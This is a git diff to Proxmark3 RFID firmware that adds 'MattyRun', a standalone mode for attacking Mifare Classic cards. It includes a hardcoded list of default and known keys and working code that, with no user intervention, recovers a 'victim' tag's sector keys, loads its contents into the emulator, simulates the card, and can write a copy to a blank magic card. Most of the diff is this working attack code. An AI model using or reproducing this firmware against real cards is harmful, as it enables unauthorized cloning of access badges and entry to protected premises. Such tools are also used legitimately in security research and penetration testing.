diff --git a/armsrc/Makefile b/armsrc/Makefile index 10ff38b81..8b311957b 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -108,6 +108,7 @@ ARMSRC = fpgaloader.c \ # lf_samyrun.c \ # lf_hidbrute.c \ # lf_proxbrute.c \ + # hf_mattyrun.c \ # Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c new file mode 100644 index 000000000..7b9bba077 --- /dev/null +++ b/armsrc/Standalone/hf_mattyrun.c @@ -0,0 +1,286 @@ +//----------------------------------------------------------------------------- +// Matías A. Ré Medina 2016 +// Christian Herrmann, 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HF aka MattyRun by Matías A. Ré Medina +//----------------------------------------------------------------------------- +/* +### What I did: +I've personally recoded the image of the ARM in order to automate +the attack and simulation on Mifare cards. I've moved some of the +implementation on the client side to the ARM such as *chk*, *ecfill*, *sim* +and *clone* commands. + +### What it does now: +It will check if the keys from the attacked tag are a subset from +the hardcoded set of keys inside of the FPGA. If this is the case +then it will load the keys into the emulator memory and also the +content of the victim tag, to finally simulate it and make a clone +on a blank card. + +#### TODO: +- Nested attack in the case not all keys are known. +- Dump into magic card in case of needed replication. + +#### ~ Basically automates commands without user intervention. +#### ~ No need of interface. +#### ~ Just a portable battery or an OTG usb cable for power supply. + +## Spanish full description of the project [here](http://bit.ly/2c9nZXR). +*/ + +#include "hf_mattyrun.h" + +void RunMod() { + StandAloneMode(); + + /* + It will check if the keys from the attacked tag are a subset from + the hardcoded set of keys inside of the ARM. If this is the case + then it will load the keys into the emulator memory and also the + content of the victim tag, to finally simulate it. + + Alternatively, it can be dumped into a blank card. + + This source code has been tested only in Mifare 1k. + + If you're using the proxmark connected to a device that has an OS, and you're not using the proxmark3 client to see the debug + messages, you MUST uncomment usb_disable(). + */ + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + // usb_disable(); // Comment this line if you want to see debug messages. + + + /* + Pseudo-configuration block. + */ + char keyTypec = '?'; // 'A'/'B' or both keys '?' + bool printKeys = false; // Prints keys + bool transferToEml = true; // Transfer keys to emulator memory + bool ecfill = true; // Fill emulator memory with cards content. + bool simulation = true; // Simulates an exact copy of the target tag + bool fillFromEmulator = false; // Dump emulator memory. + + + uint16_t mifare_size = 1024; // Mifare 1k (only 1k supported for now) + uint8_t sectorSize = 64; // 1k's sector size is 64 bytes. + uint8_t blockNo = 3; // Security block is number 3 for each sector. + uint8_t sectorsCnt = (mifare_size/sectorSize); + uint8_t keyType; // Keytype buffer + uint64_t key64; // Defines current key + uint8_t *keyBlock = NULL; // Where the keys will be held in memory. + uint8_t stKeyBlock = 20; // Set the quantity of keys in the block. + uint8_t filled = 0; // Used to check if the memory was filled with success. + bool keyFound = false; + + /* + Set of keys to be used. + */ + uint64_t mfKeys[] = { + 0xffffffffffff, // Default key + 0x000000000000, // Blank key + 0xa0a1a2a3a4a5, // NFCForum MAD key + 0xb0b1b2b3b4b5, + 0xaabbccddeeff, + 0x4d3a99c351dd, + 0x1a982c7e459a, + 0xd3f7d3f7d3f7, + 0x714c5c886e97, + 0x587ee5f9350f, + 0xa0478cc39091, + 0x533cb6c723f6, + 0x8fd0a4f256e9, + }; + + /* + This part allocates the byte representation of the + keys in keyBlock's memory space . + */ + keyBlock = BigBuf_malloc(stKeyBlock * 6); + int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); + + for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) { + num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t*)(keyBlock + mfKeyCounter * 6)); + } + + /* + Simple switch just to handle keytpes. + */ + switch (keyTypec) { + case 'a': case 'A': + keyType = !0; + break; + case 'b': case 'B': + keyType = !1; + break; + case '?': + keyType = 2; + break; + default: + Dbprintf("[!] Key type must be A , B or ?"); + keyType = 2; + } + + /* + Pretty print of the keys to be checked. + */ + if (printKeys) { + Dbprintf("[+] Printing mf keys"); + for (uint8_t keycnt = 0; keycnt < mfKeysCnt; keycnt++) + Dbprintf("[-] chk mf key[%2d] %02x%02x%02x%02x%02x%02x", keycnt, + (keyBlock + 6*keycnt)[0],(keyBlock + 6*keycnt)[1], (keyBlock + 6*keycnt)[2], + (keyBlock + 6*keycnt)[3], (keyBlock + 6*keycnt)[4], (keyBlock + 6*keycnt)[5], 6); + DbpString("--------------------------------------------------------"); + } + + /* + Initialization of validKeys and foundKeys storages. + - validKey will store whether the sector has a valid A/B key. + - foundKey will store the found A/B key for each sector. + */ + bool validKey[2][40]; + uint8_t foundKey[2][40][6]; + for (uint16_t t = 0; t < 2; t++) { + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + validKey[t][sectorNo] = false; + for (uint16_t i = 0; i < 6; i++) { + foundKey[t][sectorNo][i] = 0xff; + } + } + } + + /* + Iterates through each sector checking if there is a correct key. + */ + int key = -1; + int block = 0; + bool err = 0; + bool allKeysFound = true; + uint32_t size = mfKeysCnt; + for (int type = !keyType; type < 2 && !err; keyType == 2 ? (type++) : (type = 2)) { + block = blockNo; + for (int sec = 0; sec < sectorsCnt && !err; ++sec) { + Dbprintf("\tCurrent sector:%3d, block:%3d, key type: %c, key count: %i ", sec, block, type ? 'B':'A', mfKeysCnt); + key = saMifareChkKeys(block, type, true, size, &keyBlock[0], &key64); + if (key == -1) { + LED(LED_RED, 50); //red + Dbprintf("\t✕ Key not found for this sector!"); + allKeysFound = false; + // break; + } else if (key == -2) { + err = 1; // Can't select card. + break; + } else { + num_to_bytes(key64, 6, foundKey[type][sec]); + validKey[type][sec] = true; + keyFound = true; + Dbprintf("\t✓ Found valid key: [%02x%02x%02x%02x%02x%02x]\n", (keyBlock + 6*key)[0],(keyBlock + 6*key)[1], (keyBlock + 6*key)[2],(keyBlock + 6*key)[3], (keyBlock + 6*key)[4], (keyBlock + 6*key)[5], 6); + } + block < 127 ? (block += 4) : (block += 16); + } + } + + + /* + TODO: This. + + If at least one key was found, start a nested attack based on that key, and continue. + */ + if (!allKeysFound && keyFound) { + Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!"); + LED_C_ON(); //red + LED_A_ON(); //yellow + // Do nested attack, set allKeysFound = true; + // allKeysFound = true; + } else { + Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!"); + LED_C_ON(); //red + } + + + /* + If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned. + */ + if ((transferToEml) && (allKeysFound)) { + emlClearMem(); + uint8_t mblock[16]; + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + if (validKey[0][sectorNo] || validKey[1][sectorNo]) { + emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); // data, block num, blocks count (max 4) + for (uint16_t t = 0; t < 2; t++) { + if (validKey[t][sectorNo]) { + memcpy(mblock + t*10, foundKey[t][sectorNo], 6); + } + } + emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + } + } + Dbprintf("\t✓ Found keys have been transferred to the emulator memory."); + if (ecfill) { + Dbprintf("\tFilling in with key A."); + MifareECardLoad(sectorsCnt, 0, 0, &filled); + if (filled != 1) { + Dbprintf("\t✕ Failed filling with A."); + } + Dbprintf("\tFilling in with key B."); + MifareECardLoad(sectorsCnt, 1, 0, &filled); + if (filled != 1) { + Dbprintf("\t✕ Failed filling with B."); + } + if ((filled == 1) && simulation) { + Dbprintf("\t✓ Filled, simulation started."); + // This will tell the fpga to emulate using previous keys and current target tag content. + Dbprintf("\t Press button to abort simulation at anytime."); + LED_B_ON(); //green + Mifare1ksim(0, 0, 0, NULL); + LED_B_OFF(); + + /* + Needs further testing. + */ + if (fillFromEmulator) { + uint8_t retry = 5, cnt; + Dbprintf("\t Trying to dump into blank card."); + int flags = 0; + LED_A_ON(); //yellow + for (int blockNum = 0; blockNum < 16 * 4; blockNum += 1) { + cnt = 0; + emlGetMem(mblock, blockNum, 1); + // switch on field and send magic sequence + if (blockNum == 0) flags = 0x08 + 0x02; + + // just write + if (blockNum == 1) flags = 0; + + // Done. Magic Halt and switch off field. + if (blockNum == 16 * 4 - 1) flags = 0x04 + 0x10; + + while (!saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock) && cnt <= retry) { + cnt++; + Dbprintf("\t! Could not write block. Retrying."); + } + if (cnt == retry) { + Dbprintf("\t✕ Retries failed. Aborting."); + break; + } + } + + if (!err) { + LED_B_ON(); + } else { + LED_C_ON(); + } + + } + } else if (filled != 1) { + Dbprintf("\t✕ Memory could not be filled due to errors."); + LED_C_ON(); + } + } + } +} \ No newline at end of file diff --git a/armsrc/Standalone/hf_mattyrun.h b/armsrc/Standalone/hf_mattyrun.h new file mode 100644 index 000000000..d6e769c86 --- /dev/null +++ b/armsrc/Standalone/hf_mattyrun.h @@ -0,0 +1,22 @@ +//----------------------------------------------------------------------------- +// Matías A. Ré Medina 2016 +// Christian Herrmann, 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef __HF_MATTYRUN_H +#define __HF_MATTYRUN_H + +//#include // for bool +#include "standalone.h" // standalone definitions +#include "apps.h" // debugstatements, lfops? + + +#define OPTS 2 + +#endif /* __HF_MATTYRUN_H */ \ No newline at end of file diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 6f9195199..4f322be50 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -394,24 +394,24 @@ void printStandAloneModes(void) { DbpString("Installed StandAlone Mods"); - #if defined(WITH_LF_ICERUN) +#if defined(WITH_LF_ICERUN) DbpString(" LF sniff/clone/simulation - aka IceRun (iceman)"); - #endif - #if defined(WITH_HF_YOUNG) +#endif +#if defined(WITH_HF_YOUNG) DbpString(" HF Mifare sniff/simulation - (Craig Young)"); - #endif - #if defined(WITH_LF_SAMYRUN) +#endif +#if defined(WITH_LF_SAMYRUN) DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)"); - #endif - #if defined(WITH_LF_PROXBRUTE) +#endif +#if defined(WITH_LF_PROXBRUTE) DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)"); - #endif - #if defined(WITH_LF_HIDBRUTE) +#endif +#if defined(WITH_LF_HIDBRUTE) DbpString(" LF HID corporate 1000 bruteforce - (Federico dotta & Maurizio Agazzini)"); - #endif - #if defined(WITH_HF_MATTYRUN) - DbpString(" HF Mifare sniff/clone - aka MattyRun (Matta Real)"); - #endif +#endif +#if defined(WITH_HF_MATTYRUN) + DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)"); +#endif #if defined(WITH_HF_COLIN) DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); #endif @@ -1211,7 +1211,7 @@ void __attribute__((noreturn)) AppMain(void) { RunMod(); #endif -#if defined (WITH_ISO14443a) && ( defined (WITH_HF_YOUNG) || defined(WITH_HF_COLIN) ) +#if defined (WITH_ISO14443a) && ( defined (WITH_HF_YOUNG) || defined(WITH_HF_COLIN) || defined(WITH_HF_MATTYRUN) ) RunMod(); #endif